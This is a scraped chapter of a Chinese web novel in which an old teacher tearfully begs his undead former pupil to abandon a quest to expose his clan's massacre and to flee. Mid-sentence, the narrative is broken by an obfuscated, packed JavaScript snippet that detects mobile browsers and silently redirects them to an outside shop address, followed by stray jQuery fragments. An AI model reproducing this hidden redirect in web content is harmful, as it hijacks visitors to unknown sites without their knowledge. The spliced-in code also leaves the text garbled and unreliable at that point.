文趣网 > 都市小说 > 山庄见习生 > 40. 夫子求你了,走吧
    陈夫子捏着青瓷茶盏的手指几不可察地顿了一下,他随即抬起眼,细细打量着眼前人,良久,才缓缓开口,“容玉?倒是个不错的名字。只是,你想听的,究竟是哪一段容家往事?”

    尘砚直了直背脊,“学生前日偶然听人提起一句,十八年前容家清理叛徒一事,表面上是整肃门风,实则另有隐情。可学生翻遍了藏书楼相关的卷宗,却未见片纸只字记载此事,这才斗胆前来请教夫子。”

    陈夫子闻言,原本平静如水的面色骤然沉下,他放下手中那盏温热的茶,杯底与桌面接触,发出一声轻微的脆响,“容玉啊,那么,书中关于此事,又是如何记述的?你且说说看。”

    尘砚迎上夫子的目光,“书中记载极其简略,仅言,大夫人私心悖主,因一己之私欲,罔顾家族恩义,携旁支族人叛离容家。除此之外,再无更多笔墨。”

    陈夫子听罢,眼帘微垂,“那,白纸黑字,这便是真相。”

    “可我听说,”尘砚猛地向前倾身,双手撑在桌沿,“大夫人一族,根本未曾叛离,他们是遭人精心设计,被构陷致死的!那场所谓的‘清理’,不过是一场掩盖罪行的——”

    话未说完,陈夫子便一把死死捂住了他的嘴。那力道极重,几乎让他窒息,不许他再发出半点声响。

    同时,陈夫子俯身凑近,贴着尘砚耳畔,用仅容两人听见的气音低语,“住口!你这条命也不想要了吗!”

    尘砚被这突如其来的压制所激,胸中一股倔强之气直冲头顶。他奋力挣扎,用尽力气甩开了陈夫子的手,厉声质问,“此话何意!难道追寻真相也有罪?夫子您平日教导学生要明辨是非,如今为何却要阻止?”

    陈夫子目光沉沉地凝视着尘砚,那眼神里没有半分玩笑的意味,“你不是已经查过一回了,结果如何,难道还需要我提醒你吗?”

    尘砚心头一震,却强自镇定,追问道,“夫子,在您眼中,我是谁?”

    陈夫子后退半步,整理了一下微乱的衣袖,脸上刻意摆出一副严厉而不耐的神情,佯装冷哼一声,只是那声音里却听不出多少真正的怒意,反而更像是一种复杂情绪下的掩饰:“我教了你十几年,难道我还辨不出你是谁?你真以为,能瞒天过海?”

    陈夫子转身走至书案前,在雪白的宣纸上挥毫写下三个力透纸背的大字——容文崧。

    他拿起那张纸,径直贴到尘砚眼前,仿佛要让他将每一个笔画都看得清清楚楚,随即,陈夫子拿来火折子,火焰顷刻间便将那载着名字的纸张吞噬,烧得干干净净。

    “容文崧?”尘砚怔怔地看着那缕迅速消散的青烟,口中不禁低声呢喃,这三个字在唇齿间滚过,带着陌生的熟悉感,“原来……我叫这个名字啊。”

    陈夫子并未听清他的低语,只将那只冰凉的手攥得更紧,仿佛要将自己残存的全部气力都渡过去。他几乎是贴着尘砚的耳畔,用更低、更沉的声音说道,“无论你用了何种手段——是精心策划的假死脱身也好,是机缘巧合的借尸还魂也罢,既然老天爷让你活了下来,这就是天意,是给你的一条生路!

    听夫子一句劝,快走,现在就走,好孩子,离开容家这个是非之地,走得越远越好,此生都再也不要回头,再也不要踏足这片泥沼!”

    他浑浊的眼眸里满是痛惜与恳求,“莫要再去追查,莫要再去蹚那浑水!那底下藏着的,早已不是你我这般微末之人能够涉足的了!沾上,便是万劫不复!”

    尘砚只觉得夫子那只枯瘦的手在剧烈地颤抖,他反手将其紧紧握住,他的声音无法抑制地微微发颤,带着压抑了太久的悲愤与不甘,“那我的兄弟姐妹呢?我那些从小一同长大的手足,他们又当如何?我们全族上下,那数百条活生生的人命呢?难道就让他们这样白白死去吗?”

    他声音陡然拔高,却又被强行压回喉咙,化作更深的痛楚,“他们明明是含冤而死,是被人构陷、被人屠戮!可死后呢?死后却还要被钉在家族的耻辱柱上,世世代代背负着叛族的污名,受尽唾骂!这凭什么?天底下哪有这样的道理!”

    他猛地抬起头,死死盯住陈夫子,“而那些在背后策划一切、手上沾满鲜血的小人,那些真正的罪魁祸首呢?他们如今却依旧高高在上,锦衣玉食,活得轻松自在,甚至享受着全族的敬畏与供奉!夫子,您告诉我,这到底算什么道理?这世道,难道就真的没有公道可言了吗?!”

    他喉间发紧,好半晌才哑着嗓子开口:“夫子,我只要活着一天,就必须把当年的真相翻出来。”

    陈夫子眉头紧锁,拧成一个深深的川字,他在屋内不停地来回踱步,脚步沉重而凌乱,忽然,他猛地刹住脚步,浑浊的眼眸里爆发出一种近乎绝望的锐利,整个人冲到尘砚面前。

    他枯瘦的手指直直地指向尘砚,那指尖因剧烈的情绪而不住地颤抖,几乎要戳到对方的鼻尖,“你!你手上能有什么?!你不过是个无权无势、在这世上举目无亲的孤魂野鬼,你还想干什么?你又能干成什么!”

    “别跟我谈什么道义、什么真相!”夫子的胸膛剧烈起伏,唾沫星子几乎喷到尘砚脸上,“你连身边的人都护不住!还妄图去撼动什么?简直是痴人说梦!”

    他喘着粗气,声音陡然变得尖利,“当初你被追杀时,那些为你挡刀、为你赴死的人,难道你全忘了吗?!”

    夫子的目光死死锁住尘砚,“如今你身边又跟着两个孩子!他们才多大?他们懂什么?这次你也打算让他们步上那些亡魂的后尘吗?你说啊!”最后一句,几乎是嘶吼出来,在寂静的屋内显得格外凄厉。

    尘砚被这连珠炮般的质问钉在原地,仿佛瞬间被抽走了所有力气,只是怔怔地望着眼前激动得面目有些扭曲的夫子,嘴唇翕动了几下,才发出微弱而茫然的音节,“什么……意思?”

    “哼!”夫子从鼻腔里挤出一声短促而沉重的怒音,这声音里再无半分往日的温和,他猛地一甩袖子,转过身去,肩膀却仍在微微发抖,背对着尘砚,一字一句,“你别跟我说,你全都不记得了!”

    尘砚的记忆,是残缺的,所有记忆,尽数卡在少主失踪的那一日。

    那之后的血腥、屠戮、生离死别,于他而言,是一片干干净净、刺骨的空白。

    他想追溯,想拼凑,想找出半

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17864523|212151||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    分残存的碎片,可脑海里空空如也,只剩一片荒芜死寂。

    夫子定定望着他这副模样,沉默、迷茫、毫无回应,心底积攒多年的悲恸,一瞬间被彻底点燃。

    他看不懂尘砚的表情,看不懂他眼底的无措,只在此刻觉得胸中气血翻涌,喉头腥甜翻涌,他攥紧手中老旧拐杖,苍老的手背青筋暴起,用尽毕生余力,狠狠一杖敲落在尘砚脊背之上。

    “咚——”

    沉钝的撞击声在空寂小院炸开,刺耳又苍凉。

    尘砚分毫未躲,他本是枯骨一具,无血无肉,无痛无痒,寻常击打于他不过轻风拂骨。他脊背笔直,任由杖头反复砸在自己的骨头上,一下又一下,骨骼震颤,发出细碎沉闷的咔咔轻响。

    他垂着眼颅,安静跪着,空洞的眼窝落着无尽的荒芜,坦然受下夫子所有的怒火与恨意。

    夫子一杖一杖落得沉重,每一下都用尽了残年余力,打到最后,老人手臂发麻,浑身脱力,剧烈的颤抖席卷全身。拐杖从无力的掌心滑脱,重重落地,他整个人颓然瘫坐在破旧椅凳上,脊背佝偻得不成样子。

    他老了,真的老了。

    再也扛不起仇,再也担不起痛,连发泄怒火的力气,都所剩无几。

    泪水瞬间崩落,混着鼻涕纵横满脸,狼狈又凄楚,字字泣血,声声哽咽,“我送少主走的时候……”他喘着粗气,嗓音破碎嘶哑,带着极致的崩溃,“是你信誓旦旦和我说,这里有你,师门无忧,众人无忧!”

    “可我回来的时候……”

    老人猛地捂住脸,肩头剧烈抽搐,哭声嘶哑破碎,近乎泣不成声。

    “满目残垣,遍地尸骨。全死了……我的学生们,全都死干净了……”

    良久,夫子勉强撑着残躯,颤巍巍俯身,竟是朝着尘砚,缓缓跪了下去。

    他颤抖着枯瘦的手指,小心翼翼、近乎怜惜地托起尘砚冰冷的骷髅下颌,指腹蹭过冰凉刺骨的骨面,泪水一滴滴砸在尘砚的骨骼上,碎成微凉的水渍。

    “算夫子求你了……走吧。”

    他语气卑微,极尽哀求,“我真的、真的不能再埋一遍你们了……”

    “十八年前我眼睁睁看着一院孩子埋入土中,眼睁睁看着大夫人一族覆灭,尸骨无存。我熬到现在,苟延残喘,不是为了看你们再死一次、再埋一次!”

    自古黑发送白发,是世间常理,可他这一生,尽数是白发送黑发。

    他垂暮残年,时日无多,早已受不住半分别离、半分死别,“别让夫子再埋这些孩子了……”

    老者额头重重磕在冰冷地面,一声闷响,震得人心头发颤。

    “夫子求你了,走吧。”

    尘砚依旧静静跪着,空洞眼窝对着跪地的老者,骨骼微颤,细碎的咔咔声响绵延不绝。

    他无痛觉,无心跳,无热血,无肉身。

    可胸腔那片空荡荡的位置,却闷得发慌,堵得窒息,酸涩的悲恸层层堆叠,快要碾碎他这缕残存百年的执念亡魂。

    他什么都不记得。

    可他清清楚楚、本能般知晓——

    他欠了所有人的。